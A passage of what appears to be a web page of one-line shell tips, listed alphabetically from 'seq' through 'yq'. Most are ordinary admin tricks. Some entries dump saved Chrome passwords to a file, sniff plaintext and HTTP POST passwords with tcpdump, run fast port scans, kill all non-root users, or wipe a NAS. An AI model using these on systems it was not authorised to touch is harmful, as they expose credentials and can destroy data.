numbers.: </span><code>seq 12</code></li><li><span>Shuffle lines via perl: </span><code>seq 1 9 | perl -e &#39;print sort { (-1,1)[rand(2)] } &lt;&gt;&#39;</code></li><li><span>Shuffle lines via perl: </span><code>seq 1 9 | perl -MList::Util=shuffle -e &#39;print shuffle &lt;&gt;;&#39;</code></li><li><span>Shuffle lines via bash: </span><code>seq 1 9 | sort -R</code></li><li><span>Draw mesh: </span><code>seq -s &quot; \\_/&quot; 256|tr -d &quot;0-9&quot;|fold -70</code></li><li><span>Draw line separator: </span><code>seq -s &#39;*&#39; 40|tr -c &#39;*&#39; &#39;*&#39; &amp;&amp; echo</code></li><li><span>Draw line separator (using knoppix5 idea): </span><code>seq -s &#39;*&#39; 40 | tr -dc &#39;[*\n]&#39;</code></li><li><span>Draw honeycomb: </span><code>seq -ws &quot;\\__/&quot; 99|fold -69|tr &quot;0-9&quot; &quot; &quot;</code></li><li><span>Add date stamp to filenames of photos by Sony Xperia camera app: </span><code>(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSC_* MOV_*; do mv -v $i &quot;$(date +%F -d @$(stat -c &#39;%Y&#39; $i)) $i&quot;; done)</code></li><li><span>Add timestamp of photos created by the “predictive capture” feature of Sony&#39;s Xperia camera app at the beginning of the filename: </span><code>(setopt CSH_NULL_GLOB; cd /path/to/Camera\ Uploads; for i in DSCPDC_000*; do mv -v $i &quot;$(echo $i | perl -lpe &#39;s/(DSCPDC_[0-9]{4}_BURST)([0-9]{4})([0-9]{2})([0-9]{2})/$2-$3-$4 $1$2$3$4/&#39;)&quot;; done)</code></li><li><span>Stream a youtube video with mpv where $1 is the youtube link.: </span><code>setsid mpv --input-ipc-server=/tmp/mpvsoc$(date +%s) -quiet &quot;$1&quot; &gt;/dev/null 2&gt;&amp;1</code></li><li><span>See n most used commands in your bash history: </span><code>sort ~/.bash_history|uniq -c|sort -n|tail -n 10</code></li><li><span>Sort by IP address: </span><code>sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4</code></li><li><span>Sort list of email addresses by domain.tld: </span><code>sort -t@ -k2 emails.txt</code></li><li><span>Decrypt passwords from Google Chrome and Chromium.: </span><code>sqlite3 -header -csv -separator &quot;,&quot; ~/.config/google-chrome/Default/Login\ Data &quot;SELECT * FROM logins&quot; &gt; ~/Passwords.csv</code></li><li><span>Test your bash skills.: </span><code>ssh bandit0@bandit.labs.overthewire.org -p 2220</code></li><li><span>SSH Copy ed25519 key into your host: </span><code>ssh-copy-id -i your-ed25519-key user@host</code></li><li><span>SSH connection through host in the middle: </span><code>ssh -J user@reachable_host user@unreacheable_host</code></li><li><span>Generate SSH public key from the private key: </span><code>ssh-keygen -y -f privatekey.pem &gt; publickey.pem</code></li><li><span>Append a pub key from pem file and save in remote server accessing with another key: </span><code>ssh-keygen -y -f user-key.pem | ssh user@host -i already_on_remote_server_key.pem &#39;cat &gt;&gt; ~/.ssh/authorized_keys&#39;</code></li><li><span>Port forwarding: </span><code>ssh -L8888:localhost:80 -i nov15a.pem ubuntu@123.21.167.60</code></li><li><span>Backup VPS disk to another host: </span><code>ssh root@vps.example -p22 &quot;cat /dev/sda1 | gzip -1 - &quot; &gt; vps.sda1.img.gz</code></li><li><span>Find all clients connected to HTTP or HTTPS ports: </span><code>ss -o state established &#39;( dport = :http or sport = :https )&#39;</code></li><li><span>Show all current listening programs by port and pid with SS instead of netstat: </span><code>ss -plunt</code></li><li><span>List all accessed configuration files while executing a program in linux terminal (improved version): </span><code>strace 2&gt;&amp;1 &lt;any_executable&gt; |egrep -o &quot;\&quot;.*\.conf\&quot;&quot;</code></li><li><span>Find which config-file is read: </span><code>strace 2&gt;&amp;1  geany |grep geany.conf</code></li><li><span>Linux system calls of MySQL process: </span><code>strace -**** $(pidof -s mysqld) -f -e trace=all</code></li><li><span>Listen YouTube radios streaming: </span><code>streamlink --player=&quot;cvlc --no-video&quot; &quot;https://www.youtube.com/freecodecamp/live&quot; 720p|&amp; tee /dev/null</code></li><li><span>Blktrace - generate traces of the i/o traffic on block devices: </span><code>sudo blktrace -d /dev/sda -o - | blkparse -i -</code></li><li><span>Clear Cached Memory on Ubuntu: </span><code>sudo free &amp;&amp; sync &amp;&amp; sudo echo 3 | sudo tee /proc/sys/vm/drop_caches</code></li><li><span>Manually trim SSD: </span><code>sudo fstrim -v /</code></li><li><span>Login history Mac OS X: </span><code>% sudo log show --style syslog  --last 2d | awk &#39;/Enter/ &amp;&amp; /unlockUIBecomesActive/ {print $1 &quot; &quot; $2}&#39;</code></li><li><span>Using a single sudo to run multiple &amp;&amp; arguments: </span><code>sudo -s &lt;&lt;&lt; &#39;apt update -y &amp;&amp; apt upgrade -y&#39;</code></li><li><span>Using a single sudo to run multiple &amp;&amp; arguments: </span><code>sudo sh -c &#39;apt update -y &amp;&amp; apt upgrade -y&#39;</code></li><li><span>Write shell script without opening an editor: </span><code>sudo su -c “echo -e \”\x23\x21/usr/bin/sudo /bin/bash\napt-get -y \x24\x40\” &gt; /usr/bin/apt-yes”</code></li><li><span>Restart Bluetooth from terminal: </span><code>sudo systemctl restart bluetooth</code></li><li><span>Add a DNS server on the fly: </span><code>sudo systemd-resolve --interface &lt;NombreInterfaz&gt; --set-dns &lt;IPDNS&gt; --set-domain mydomain.com</code></li><li><span>Capture SMTP / POP3 Email: </span><code>sudo tcpdump -nn -l port 25 | grep -i &#39;MAIL FROM\|RCPT TO&#39;</code></li><li><span>Capture FTP Credentials and Commands: </span><code>sudo tcpdump -nn -v port ftp or ftp-data</code></li><li><span>Capture all plaintext passwords: </span><code>sudo tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -l -A | egrep -i -B5 &#39;pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user &#39;</code></li><li><span>Extract HTTP Passwords in POST Requests: </span><code>sudo tcpdump -s 0 -A -n -l | egrep -i &quot;POST /|pwd=|passwd=|password=|Host:&quot;</code></li><li><span>Programmatic way to find and set your timezone: </span><code>sudo timedatectl set-timezone $(curl -s worldtimeapi.org/api/ip.txt | sed -n &#39;s/^timezone: //p&#39;)</code></li><li><span>Enable Synology Debug mode on shell: </span><code>sudo /usr/syno/bin/synogear install &amp;&amp; sudo su</code></li><li><span>Command to logout all the users in one command: </span><code>sudo who | awk &#39;!/root/{ cmd=&quot;/sbin/pkill -KILL -u &quot; $1; system(cmd)}&#39;</code></li><li><span>Get CPU thermal data on MacOS: </span><code>sysctl machdep.xcpm.cpu_thermal_level</code></li><li><span>Filter the output of a file continously using tail and grep: </span><code>tail -f $FILENAME | grep --line-buffered $PATTERN</code></li><li><span>Realtime lines per second in a log file, with history: </span><code>tail -f access.log | pv -l -i10 -r -f 2&gt;&amp;1 &gt;/dev/null  | tr /\\r \ \\n</code></li><li><span>Display the end of a logfile as new lines are added to the end: </span><code>tail -f logfile</code></li><li><span>Tail a log and replace according to a sed pattern: </span><code>tail -F logfile|while read l; do sed &#39;s/find/replace/g&#39; &lt;&lt;&lt; $l; done</code></li><li><span>Filter the output of a file continously using tail and grep: </span><code>tail -f path | grep your-search-filter</code></li><li><span>Re-execute a command using a saved /proc/pid/cmdline file: </span><code>tail -zn+2 $CMDLINE_FILENAME | xargs -0 $COMMAND</code></li><li><span>Windows telnet: </span><code>Test-NetConnection -ComputerName example.com -Port 443</code></li><li><span>Quick integer CPU benchmark: </span><code>time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo &quot;2^2^20&quot; &#39;|&#39; bc</code></li><li><span>Small CPU benchmark with PI, bc and time.: </span><code>time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo &quot;scale=4000\; a\(1\)\*4&quot; &#39;|&#39; bc -l</code></li><li><span>Superfast portscanner: </span><code>time seq 65535 | parallel -k --joblog portscan -j9 --pipe --cat -j200% -n9000  --tagstring  &#39;\033[30;3{=$_=++$::color%8=}m&#39;  &#39;nc -vz localhost $(head -n1 {})-$(tail -n1 {})&#39;</code></li><li><span>Tmux start new session with title and execute command: </span><code>tmux new-session -d -s &quot;SessionName&quot; &quot;htop&quot;</code></li><li><span>Create a file and manipulate the date: </span><code>touch -d &#39;-1 year&#39; /tmp/oldfile</code></li><li><span>Clear terminal Screen: </span><code>tput clear</code></li><li><span>Mural graffiti: </span><code>tput setaf 1;tput rev;h=$(tput lines);w=$[$(tput cols)/6];c=$(seq -ws &#39;_____|&#39; $[$w+1]|tr -d &quot;0-9&quot;);for a in $(seq $[$h/2]);do echo $c;echo ${c//|___/___|};done;tput *** 0;toilet -t -f bigmono12 &quot;?LOVE&quot;;tput *** $h</code></li><li><span>Generate a random password 30 characters long: </span><code>tr -c -d &quot;a-zA-Z0-9&quot; &lt;/dev/urandom | dd bs=30 count=1 2&gt;/dev/null;echo</code></li><li><span>Find top 10 largest files in /var directory (subdirectories and hidden files included ): </span><code>tree -ihafF /var | tr &#39;[]&#39; &#39; &#39;| sort -k1hr|head -10</code></li><li><span>Tree command limit depth for recusive directory list: </span><code>tree -L 2 -u -g -p -d</code></li><li><span>Get the running Kernel and Install date: </span><code>uname -a;rpm -qi &quot;kernel&quot;-</code><span>uname -r</span><code>|grep &quot;Install&quot;</code></li><li><span>Print umask as letters (e.g. </span><code>rwxr-xr-x</code><span>) instead of number (e.g. </span><code>0022</code><span>): </span><code>unix-permissions convert.stat $(unix-permissions invert $(umask))</code></li><li><span>Emulate a root (fake) environment without fakeroot nor privileges: </span><code>unshare -r --fork --pid unshare -r --fork --pid --mount-proc bash</code></li><li><span>Infinite loop ssh: </span><code>until ssh login@10.0.0.1; do echo &quot;Nope, keep trying!&quot;; fi; sleep 10; done</code></li><li><span>Completely wipe all data on your Synology NAS and reinstall DSM.  (BE CAREFUL): </span><code>/usr/syno/sbin/./synodsdefault --factory-default</code></li><li><span>Reinstall a Synology NAS without loosing any data from commandline.: </span><code>/usr/syno/sbin/./synodsdefault --reinstall</code></li><li><span>Bash test check validate  if variable is number: </span><code>varNUM=12345; re=&#39;^[0-9]+$&#39;; if ! [[ $varNUM =~ $re ]] ; then echo &quot;error: Not a number&quot;; fi</code></li><li><span>Watch how many tcp connections there are per state every two seconds.: </span><code>watch -c &quot;netstat -natp 2&gt;/dev/null | tail -n +3 | awk &#39;{print \$6}&#39; | sort | uniq -c&quot;</code></li><li><span>Watch how many tcp connections there are per state every two seconds.: </span><code>watch -c &quot;netstat -nt | awk &#39;FNR &gt; 3 {print \$6}&#39; | sort | uniq -c&quot;</code></li><li><span>Monitor cpu in realtime.: </span><code>watch grep \&quot;cpu MHz\&quot; /proc/cpuinfo</code></li><li><span>Show top 50 running processes ordered by highest memory/cpu usage refreshing every 1s: </span><code>watch -n1 &quot;ps aux --sort=-%mem,-%cpu | head -n 50&quot;</code></li><li><span>Perform Real-time Process Monitoring Using Watch Utility: </span><code>watch -n 1 &#39;ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head&#39;</code></li><li><span>Show whats going on restoring files from a spectrum protect backup: </span><code>watch -n60 -d &#39;lsof -w /filesysname|grep -v NAME|awk &#39;\&#39;&#39;{$7=int($7/1073741824) &quot; GB&quot;; print $7, $9}&#39;\&#39;&#39;&#39;</code></li><li><span>Monitor my process group tree: </span><code>watch &quot;ps --forest -o pid=PID,tty=TTY,stat=STAT,time=TIME,pcpu=CPU,cmd=CMD -g $(ps -o sid= -p $(pgrep -f &quot;&lt;my_process_name&gt;&quot;))&quot;</code></li><li><span>Watch TCP, UDP open ports in real time with socket summary.: </span><code>watch ss -stplu</code></li><li><span>Website recursive offline mirror with wget: </span><code>wget --mirror --convert-links --adjust-extension --page-requisites  --recursive  --no-parent  www.example.com</code></li><li><span>Write a bootable Linux .iso file directly to a USB-stick: </span><code>wget -O /dev/sdb https://cdimage.ubuntu.com/daily-live/current/eoan-desktop-amd64.iso</code></li><li><span>Compute newest kernel version from Makefile on Torvalds&#39; git repository: </span><code>wget -qO - https://raw.githubusercontent.com/torvalds/linux/master/Makefile | head -n5 | grep -E &#39;\ \=\ [0-9]{1,}&#39; | cut -d&#39; &#39; -f3 | tr &#39;\n&#39; &#39;.&#39; | sed -e &quot;s/\.$//&quot;</code></li><li><span>Application network trace based on application name: </span><code>while(1 -eq 1 ) {Get-Process -Name *APPNAME* | Select-Object -ExpandProperty ID | ForEach-Object {Get-NetTCPConnection -OwningProcess $_} -ErrorAction SilentlyContinue }</code></li><li><span>Watches every second, a directory listing as it changes: </span><code>while :; do clear; ls path/to/dir | wc -l; sleep 1; done</code></li><li><span>Console clock: </span><code>while sleep 1; do     tput sc;     tput *** 0 $(($(tput cols)-29));     date;     tput rc; done &amp;</code></li><li><span>Alert visually until any key is pressed: </span><code>while true; do echo -e &quot;\e[?5h\e[38;5;1m A L E R T  $(date)&quot;; sleep 0.1; printf \\e[?5l; read -s -n1 -t1 &amp;&amp; printf \\e[?5l &amp;&amp; break; done</code></li><li><span>Generates a TV noise alike output in the terminal: </span><code>while true; do printf &quot;$(awk -v c=&quot;$(tput cols)&quot; -v s=&quot;$RANDOM&quot; &#39;BEGIN{srand(s);while(--c&gt;=0){printf(&quot;\xe2\x96\\%s&quot;,sprintf(&quot;%o&quot;,150+int(10*rand())));}}&#39;)&quot;;done</code></li><li><span>Infinite loop ssh: </span><code>while true; do ssh login@10.0.0.1; if [[ $? -ne 0 ]]; then echo &quot;Nope, keep trying!&quot;; fi; sleep 10; done</code></li><li><span>Whois filtering the important information: </span><code>whois commandlinefu.com | grep -E &#39;^\s{3}&#39;</code></li><li><span>Fast portscanner via xargs: </span><code>xargs -i -P 1200 nc -zvn {} 22 &lt; textfile-with-hosts.txt</code></li><li><span>Apply an xdelta patch to a file: </span><code>xdelta -d -s original_file delta_patch patched_file</code></li><li><span>Make window transparent (50% opacity) in Gnome shell: </span><code>xprop -format _NET_WM_WINDOW_OPACITY 32c -set _NET_WM_WINDOW_OPACITY 0x7FFFFFFF</code></li><li><span>Draw honeycomb: </span><code>yes &quot;\\__/ &quot; | tr &quot;\n&quot; &quot; &quot; | fold -$((($COLUMNS-3)/6*6+3)) | head -$LINES</code></li><li><span>Convert JSON to YAML: </span><code>yq . -y &lt;example.json</code></li></ul><p>&nbsp;</p></div></div>
</body>
</html>